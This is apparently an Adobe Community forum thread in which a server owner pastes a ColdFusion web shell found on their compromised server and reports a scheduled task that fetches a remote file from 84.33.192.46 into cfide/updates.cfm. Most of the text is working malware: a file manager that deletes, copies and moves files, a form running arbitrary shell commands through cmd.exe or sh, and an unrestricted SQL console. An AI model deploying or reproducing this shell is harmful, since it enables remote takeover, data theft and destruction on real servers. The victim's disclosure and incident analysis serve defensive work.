<cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#"><br>
<cfoutput><br>
<div><br>
<span style="width:100">FILE:</span><br>
#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#<b>#name#</b><br>
</div><br>
</cfoutput><br>
<cfcatch/><br>
</cftry><br>
</cfif><br>
</cfloop><br>
<!--- Delete sub-folder ---><br>
<cfloop query="attributes.getDir"><br>
<cfif type eq "dir"><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="deleteDirRecursive"<br>
h="#attributes.H#"<br>
path="#attributes.path##attributes.delimiter##attributes.dir#"<br>
dir="#name#"<br>
relocate="0"><br>
</cfif><br>
</cfloop><br>
<cftry><br>
<cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#"><br>
<cfoutput><br>
<div><br>
<span style="width:100">FOLDER:</span><br>
#attributes.path##attributes.delimiter#<b>#attributes.dir#</b><br>
</div><br>
</cfoutput><br>
<cfcatch/><br>
</cftry><br>
<cfflush><br>
<cfif attributes.relocate><br>
<cfoutput><br>
<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Deletion done! Back to <b>#attributes.path#</b></button><br>
</cfoutput><br>
</cfif><br>
</cfcase><br>
<br>
<cfcase value="addDir"><br>
<cftry><br>
<cfdirectory action="CREATE" directory="#attributes.path##attributes.delimiter##attributes.dirNew#"><br>
<cfoutput>#loc("msg=Folder created!", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("msg=Error: folder not created!", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="addFile"><br>
<cftry><br>
<cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.fileNew#" output=""><br>
<cfoutput>#loc("msg=File created!", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("msg=Error: file not created!", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="copyFile"><br>
<cfif fileExists("#attributes.pathNew#")><br>
<cfoutput><br>
<script><br>
alert("This file already exists!");<br>
history.back();<br>
</script><br>
</cfoutput><br>
<cfabort><br>
</cfif><br>
<cftry><br>
<cfset pathTry = listDeleteAt(attributes.pathNew,listLen(attributes.pathNew,"/\"),"/\")><br>
<cfdirectory action="CREATE" directory="#pathTry#"><br>
<cfcatch/><br>
</cftry><br>
<cftry><br>
<cffile action="COPY" source="#attributes.path##attributes.delimiter##attributes.file#" <br>
destination="#attributes.pathNew#"><br>
<cfif attributes.relocate><br>
<cfoutput>#loc("msg=File copied!", attributes.relocate)#</cfoutput><br>
</cfif><br>
<cfcatch><br>
<cfif attributes.relocate><br>
<cfoutput>#loc("msg=Error: file not copied", attributes.relocate)#</cfoutput><br>
</cfif><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="copyDir"><br>
<cfif DirectoryExists("#attributes.pathNew#")><br>
<cfoutput><br>
<script><br>
alert("This folder already exists!\nPlease use synchronize function.");<br>
history.back();<br>
</script><br>
</cfoutput><br>
<cfabort><br>
</cfif><br>
<cfdirectory directory="#attributes.path##attributes.delimiter##attributes.dir#" name="attributes.getDir"><br>
<!--- create main folder ---><br>
<cftry><br>
<cfdirectory action="CREATE" directory="#attributes.pathNew#"><br>
<cfoutput><h3>#attributes.pathNew#</h3></cfoutput><br>
<cfcatch/><br>
</cftry><br>
<!--- copy folder content - Recursive copy ---><br>
<cfloop query="attributes.getDir"><br>
<cfif type eq "file"><br>
<cffile <br>
action="COPY" <br>
source="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#" <br>
destination="#attributes.pathNew##attributes.delimiter##name#"<br>
attributes="Normal"><br>
<cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b></div></cfoutput><br>
<cfflush><br>
</cfif><br>
</cfloop><br>
<cfloop query="attributes.getDir"><br>
<cfif type eq "dir"><br>
<cfmodule <br>
fuseaction="copyDir"<br>
template="#attributes.thisModule#" <br>
h="#attributes.H#"<br>
path="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#"<br>
dir="#name#"<br>
pathNew="#attributes.pathNew##attributes.delimiter##name#"<br>
relocate="0"><br>
</cfif><br>
</cfloop><br>
<cfif attributes.relocate><br>
<cfoutput><br>
<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Copy done! Back to <b>#attributes.path#</b></button><br>
</cfoutput><br>
</cfif><br>
</cfcase><br>
<br>
<cfcase value="renameFile"><br>
<cfif fileExists("#attributes.path##attributes.delimiter##attributes.fileNew#")><br>
<cfoutput><br>
<script><br>
alert("This file already exists!");<br>
history.back();<br>
</script><br>
</cfoutput><br>
<cfabort><br>
</cfif><br>
<cftry><br>
<cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal"><br>
<cfoutput>#loc("msg=File updated!", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase></p>
<p> <cfcase value="removeR"><br>
<cftry><br>
<cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal"><br>
<cfset qs = ""><br>
<cfif isDefined("attributes.after") and attributes.after eq "edit"><br>
<cfset qs = "fuseaction=edit&file=#attributes.file#&"><br>
</cfif><br>
<cfoutput>#loc("#qs#msg=File updated!", attributes.relocate)#</cfoutput><br>
<cfcatch><br>
<cfoutput>#loc("#qs#msg=Error while updating file!", attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
</cfcase><br>
<br>
<cfcase value="renameDir"><br>
<cfif DirectoryExists("#attributes.path##attributes.delimiter##attributes.dirNew#")><br>
<cfoutput><br>
<script><br>
alert("This folder already exists!");<br>
history.back();<br>
</script><br>
</cfoutput><br>
<cfabort><br>
</cfif><br>
<h2>Rename folder - step 1: copy files</h2><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="copyDir"<br>
h="#attributes.h#"<br>
path="#attributes.path#"<br>
pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"<br>
pathNew="#attributes.path##attributes.delimiter##attributes.dirNew#"<br>
relocate="0"><br>
<h2>Rename folder - step 2: delete files</h2><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="deleteDirRecursive"<br>
h="#attributes.h#"<br>
path="#attributes.path#"<br>
dir="#attributes.dir#"<br>
relocate="0"><br>
<cfif attributes.relocate><br>
<cfoutput><br>
<button name="fileManagerButton" style="width:700" onclick="window.location.href='?path=#jsStringFormat(attributes.path)#&h=#attributes.H#'">Rename done! Back to <b>#attributes.path#</b></button><br>
</cfoutput><br>
</cfif><br>
</cfcase></p>
<p> <cfcase value="moveFile"><br>
<h2>Move file - step 1: copy file</h2><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="copyFile"<br>
h="#attributes.h#"<br>
path="#attributes.path#"<br>
file="#attributes.file#"<br>
pathNew="#attributes.pathNew#"<br>
relocate="0"><br>
<h2>Move file - step 2: delete file</h2><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="deleteFile"<br>
h="#attributes.h#"<br>
path="#attributes.path#"<br>
file="#attributes.file#"<br>
relocate="0"><br>
<cfoutput>#loc("msg=File moved!", attributes.relocate)#</cfoutput><br>
</cfcase><br>
<br>
<cfcase value="moveDir"><br>
<h1>Move folder - step 1: copy files</h1><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="copyDir"<br>
h="#attributes.h#"<br>
pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"<br>
pathNew="#attributes.pathNew##attributes.delimiter##attributes.dir#"<br>
relocate="0"><br>
<h1>Move folder - step 2: delete files</h1><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="deleteDirRecursive"<br>
h="#attributes.h#"<br>
path="#attributes.path#"<br>
dir="#attributes.dir#"<br>
relocate="0"><br>
<cfif attributes.relocate><br>
<cfoutput><br>
<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Move done! Back to <b>#attributes.path#</b></button><br>
</cfoutput><br>
</cfif><br>
</cfcase><br>
<br>
<cfcase value="syncDir"><br>
<cfif attributes.relocate><br>
<cfoutput><h1>Synchronize</h1><h3>From... #attributes.path#</h3><h3>To... #attributes.pathNew#</h3><hr></cfoutput><br>
</cfif><br>
<cfdirectory directory="#attributes.path#" name="getDir"><br>
<cfdirectory directory="#attributes.pathNew#" name="getDirNew"><br>
<!--- create main folder ---><br>
<cftry><br>
<cfdirectory action="CREATE" directory="#attributes.pathNew#"><br>
<cfoutput><h3 style="color:green">#attributes.pathNew# ... created!</h3></cfoutput><br>
<cfcatch><cfoutput><h3>#attributes.pathNew# ... existing!</h3></cfoutput></cfcatch><br>
</cftry><br>
<!--- copy folder content - Recursive copy ---><br>
<cfloop query="getDir"><br>
<cfset getDirCurrentRow = getDir.currentRow><br>
<cfif type eq "file"><br>
<cfset fileExists = 0><br>
<!--- Check if file exists ---><br>
<cfloop query="getDirNew"><br>
<cfset getDirNewCurrentRow = getDirNew.currentRow><br>
<cfif getDir.name[getDirCurrentRow] eq getDirNew.name[getDirNewCurrentRow]><br>
<cfset fileExists = 1><br>
<cfset fileIsModified = 0><br>
<cfif getDir.DATELASTMODIFIED[getDirCurrentRow] gt getDirNew.DATELASTMODIFIED[getDirNewCurrentRow]><br>
<cfset fileIsModified = 1><br>
</cfif><br>
<cfbreak><br>
</cfif><br>
</cfloop><br>
<!--- action ---><br>
<cfif fileExists><br>
<cfif fileIsModified or attributes.overwriteAll><br>
<cftry><br>
<cffile action="DELETE" file="#attributes.pathNew##attributes.delimiter##name#"><br>
<cffile<br>
action="COPY" <br>
source="#attributes.path##attributes.delimiter##name#" <br>
destination="#attributes.pathNew##attributes.delimiter##name#"<br>
attributes="Normal"><br>
<cfoutput><div style="color:orange">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... updated!</div></cfoutput><br>
<cfcatch><br>
<cfoutput><div style="color:red">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... cannot update!</div></cfoutput><br>
</cfcatch><br>
</cftry><br>
<cfelse><br>
<cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... uptodate</div></cfoutput><br>
</cfif><br>
<cfelse><br>
<cffile <br>
action="COPY" <br>
source="#attributes.path##attributes.delimiter##name#" <br>
destination="#attributes.pathNew##attributes.delimiter##name#"<br>
attributes="Normal"><br>
<cfoutput><div style="color:green">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... new!</div></cfoutput><br>
</cfif><br>
<cfflush><br>
</cfif><br>
</cfloop><br>
<cfloop query="getDir"><br>
<cfif type eq "dir"><br>
<cfmodule <br>
fuseaction="syncDir"<br>
template="#attributes.thisModule#" <br>
h="#attributes.H#"<br>
path="#attributes.path##attributes.delimiter##name#"<br>
pathNew="#attributes.pathNew##attributes.delimiter##name#"<br>
relocate="0"><br>
</cfif><br>
</cfloop><br>
<cfif attributes.relocate><br>
<cfoutput><br>
<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.pathNew)#'">Synchronization done! Back to <b>#attributes.pathNew#</b></button><br>
</cfoutput><br>
</cfif><br>
</cfcase><br>
<br>
<cfcase value="search"><br>
<cfif attributes.searchtext eq "" and attributes.searchname eq ""><br>
<cfoutput>#loc("msg=Error: no criteria!",attributes.relocate)#</cfoutput><br>
</cfif><br>
<cfif not isDefined("request.searchResult")><br>
<cfset request.searchResult = queryNew("path,name,type,size,datelastmodified,attributes")><br>
<cfset attributes.searchpath = attributes.path><br>
</cfif><br>
<cfset countsearchresult = request.searchResult.recordCount><br>
<cftry><br>
<cfdirectory action="LIST" directory="#attributes.searchpath#" name="getDir"><br>
<!--- Search files ---><br>
<cfloop query="getDir"><br>
<cfif attributes.maxsearchresult lte countsearchresult><br>
<cfbreak><br>
</cfif><br>
<cfif type eq "file"><br>
<cfset isOK = 1><br>
<cfif attributes.searchname neq ""><br>
<cfset isOK = REFindNoCase(attributes.searchname,name)><br>
</cfif><br>
<cfif attributes.searchtext neq "" and isOK eq 1><br>
<cffile action="READ" file="#attributes.searchpath##attributes.delimiter##name#" variable="filecontent"><br>
<cfset isOK = REFindNoCase(attributes.searchtext,filecontent)><br>
</cfif><br>
<cfif isOK><br>
<cfset tmp = queryAddRow(request.searchResult)><br>
<cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)><br>
<cfset tmp = querySetCell(request.searchResult,"name",name)><br>
<cfset tmp = querySetCell(request.searchResult,"type",type)><br>
<cfset tmp = querySetCell(request.searchResult,"size",size)><br>
<cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)><br>
<cfset tmp = querySetCell(request.searchResult,"attributes",attributes)><br>
<cfset countsearchresult = countsearchresult + 1><br>
</cfif><br>
</cfif><br>
</cfloop><br>
<!--- Search dir ---><br>
<cfloop query="getDir"><br>
<cfif attributes.maxsearchresult lte countsearchresult><br>
<cfbreak><br>
</cfif><br>
<cfif type eq "dir" and name neq "." and name neq ".."><br>
<cfif attributes.searchname neq "" and REFindNoCase(attributes.searchname,name)><br>
<cfset tmp = queryAddRow(request.searchResult)><br>
<cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)><br>
<cfset tmp = querySetCell(request.searchResult,"name",name)><br>
<cfset tmp = querySetCell(request.searchResult,"type",type)><br>
<cfset tmp = querySetCell(request.searchResult,"size",size)><br>
<cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)><br>
<cfset tmp = querySetCell(request.searchResult,"attributes",attributes)><br>
<cfset countsearchresult = countsearchresult + 1><br>
</cfif><br>
</cfif><br>
</cfloop><br>
<!--- Search in sub dir ---><br>
<cfif attributes.recursive eq 1><br>
<cfloop query="getDir"><br>
<cfif attributes.maxsearchresult lte countsearchresult><br>
<cfbreak><br>
</cfif><br>
<cfif type eq "dir" and name neq "." and name neq ".."><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="search"<br>
path="#attributes.path#"<br>
h="#attributes.h#"<br>
searchpath="#attributes.searchpath##attributes.delimiter##name#"<br>
recursive="#attributes.recursive#"<br>
searchtext="#attributes.searchtext#"<br>
searchname="#attributes.searchname#"<br>
maxsearchresult="#attributes.maxsearchresult#"<br>
relocate="0"><br>
</cfif><br>
</cfloop><br>
</cfif><br>
<cfcatch><br>
<cfoutput>#loc("msg=Error!",attributes.relocate)#</cfoutput><br>
</cfcatch><br>
</cftry><br>
<!--- Show result ---><br>
<cfif attributes.relocate><br>
<cfset caller.getDir = request.searchResult><br>
<cfmodule template="#attributes.thisModule#"<br>
fuseaction="home"<br>
path="#attributes.path#"<br>
h="#attributes.h#"<br>
msg="Search result: #request.searchResult.recordCount# elements!"<br>
getDir="#request.searchResult#"<br>
showpath="#iif(attributes.recursive,1,0)#"<br>
searchtext="#attributes.searchtext#"<br>
searchname="#attributes.searchname#"<br>
maxsearchresult="#attributes.maxsearchresult#"><br>
</cfif><br>
</cfcase><br>
<br>
</cfswitch></p>
<p></br></br></p>
<p><cfoutput><br>
<!--<table>--><br>
<cfset tempFile = #GetTempFile(GetTempDirectory(),"testFile")# /><br>
<cfif IsDefined("FORM.cmd")><br>
<cfoutput>#cmd#</cfoutput><br>
<cfif server.os.name neq "UNIX"><br>
<cfexecute name="cmd.exe" arguments="/c #cmd#" outputfile="#tempFile#" timeout="2000"></cfexecute><br>
<cfelse><br>
<cfexecute name="sh" arguments="-c ""#REReplace(cmd,"""","'","ALL")#""" outputfile="#tempFile#" timeout="2000"></cfexecute><br>
</cfif><br>
</cfif><br>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post"><br>
<input type=text size=45 name="cmd" ><br>
<input type=Submit value="run"><br>
</form><br>
<cfif FileExists("#tempFile#") is "Yes"><br>
<cffile action="Read" file="#tempFile#" variable="readText"><br>
<textarea readonly cols=80 rows=20><br>
<CFOUTPUT>#readText#</CFOUTPUT><br>
</textarea><br>
<cffile action="Delete" file="#tempFile#"><br>
</cfif><br>
</cfoutput><br>
</br></br></p>
<p><p><b>Notes:</b></p><br>
<ul><br>
<li>Select the database you want to use</li><br>
<li>Write SQL statements in the text box</li><br>
</ul></p>
<p><form method="POST" action=""><br>
<p><b>SQL Interface:</b></p><br>
Datasource<br><br>
<input type="text" name="datasource" /><br>
<br><br>
SQL<br><br>
<textarea name="sql" rows="5" cols="100"></textarea><br>
<br><br>
<input type=submit value="Exec"><br>
</form></p>
<p><cfif isdefined("form.sql")><br>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30"><br>
#REReplace(Form.sql,"""","'","ALL")#<br>
</cfquery><br>
</cfif></p>
<p><table border=1><br>
<cfif isdefined("form.sql")><br>
<cfloop from="0" to="#runsql.RecordCount#" index="row"><br>
<cfif row eq 0><br>
<tr><br>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=","><br>
<th><cfoutput>#column#</cfoutput></th> <br>
</cfloop><br>
</tr><br>
<cfelse><br>
<tr><br>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=","><br>
<td><cfoutput>#runsql[column][row]#</cfoutput></td><br>
</cfloop><br>
</tr><br>
</cfif><br>
</cfloop><br>
</cfif><br>
</table><br>
</br> </br></p>
<p> </p>
<p></body><br>
</html></p>
<p> <cfelse><br>
<form method="post"><br>
<label for="code">Code:</label><input type="text" name="code" /><br>
<br/><br>
<input type="submit" value="Login" /><br>
</form><br>
</cfif></p>
<p><cfcatch><br>
</cfcatch> <br>
</cftry><br>
</p>
Copy link to clipboard
Copied
Ok, I just looked in my scheduled tasks and found an entry that has the URL set to http://84.33.192.46/tmp/updates.txt and saves the output file to the cfide/updates.cfm
!!!!!!!!!!!!!!!!
http://84.33.192.46/tmp/updates.txt
saves to updates.cfm
Find more inspiration, events, and resources on the new Adobe Community
Explore Now